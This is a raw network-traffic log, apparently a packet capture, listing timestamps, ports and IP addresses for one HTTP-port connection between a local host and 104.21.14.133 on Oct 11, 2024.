Oct 11, 2024 04:10:43.668720007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668762922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668776989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668801069 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668823957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668860912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668893099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668912888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668934107 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668978930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669009924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669043064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669075966 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669097900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669120073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669173002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669205904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669229031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669255018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669280052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669332027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669363022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669383049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669406891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669440031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669472933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669497013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669523001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669552088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669593096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669606924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669639111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669671059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669692993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669718981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669761896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669805050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669819117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669858932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.669886112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669918060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669960022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.669974089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670007944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670025110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670066118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670078993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670110941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670152903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670166969 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670192003 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670217037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670258045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670273066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670294046 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670322895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670363903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670377970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670404911 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670430899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670470953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670484066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670525074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670537949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670572042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670588970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670619965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670651913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670676947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670703888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670728922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670761108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670792103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670814037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670842886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670867920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670901060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.670922995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670950890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.670975924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671008110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671040058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671061039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671091080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671113968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671145916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671170950 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671190977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671219110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671248913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671260118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671272993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671289921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671297073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671307087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671319962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671331882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671345949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671355963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671369076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671380997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671406984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671591043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671603918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671612978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671627998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671637058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671642065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671647072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671657085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671664953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671679020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671686888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671689987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671699047 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671700001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671711922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671721935 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671725035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671730995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671740055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671742916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671745062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671756029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671765089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671766043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671777010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671787024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671792030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671797991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671801090 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671808958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671818018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671823025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671828032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671834946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671837091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671848059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671855927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671857119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671864986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.671880007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671889067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.671905994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.753931999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.753952026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.753968954 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.753983974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.753998995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754014969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754038095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754108906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754108906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754108906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754108906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754108906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754203081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754245996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754254103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754268885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754286051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754295111 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754301071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754317999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754326105 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754327059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754334927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754353046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754354000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754354000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754369974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754374027 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754385948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754390955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754410982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754411936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754430056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754431963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754447937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754457951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754466057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754476070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754482985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754502058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754502058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754502058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754515886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754520893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754533052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754540920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754559040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754559994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754579067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754580021 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754595041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754612923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754626036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754628897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754647970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754672050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754673004 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754743099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754760981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754776001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754791975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754798889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754798889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754810095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754821062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754827976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754843950 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754843950 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754846096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754889965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754894018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754908085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754923105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754937887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754940033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.754964113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754964113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.754988909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755064011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755080938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755095005 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755111933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755124092 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755129099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755146027 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755148888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755167007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755189896 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755189896 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755234957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755251884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755266905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755286932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755286932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755320072 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755450964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755466938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755481958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755496979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755512953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755523920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755523920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755530119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755546093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755580902 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755614042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755630016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755645990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755685091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755716085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755812883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755829096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755845070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755860090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755877018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755880117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755880117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755893946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755907059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755907059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755927086 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755944967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.755959034 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.755990028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756005049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756006002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756023884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756031036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756040096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756052971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756058931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756071091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756088972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756107092 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756127119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756145000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756160021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756175995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756179094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756179094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756192923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756201982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756206989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756228924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756228924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756248951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756311893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756328106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756344080 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756360054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756364107 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756364107 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756376982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756386042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756413937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756413937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756480932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756498098 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756513119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756529093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756542921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756545067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756561995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756592035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756653070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756669998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756685972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756700039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756700993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756721020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756726980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756727934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756737947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756747961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756767988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756828070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756843090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756860018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756875038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756875992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756896019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756896973 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756922007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756938934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.756978989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.756994963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757010937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757026911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757040024 CEST	49733	80	192.168.2.4	104.21.14.133
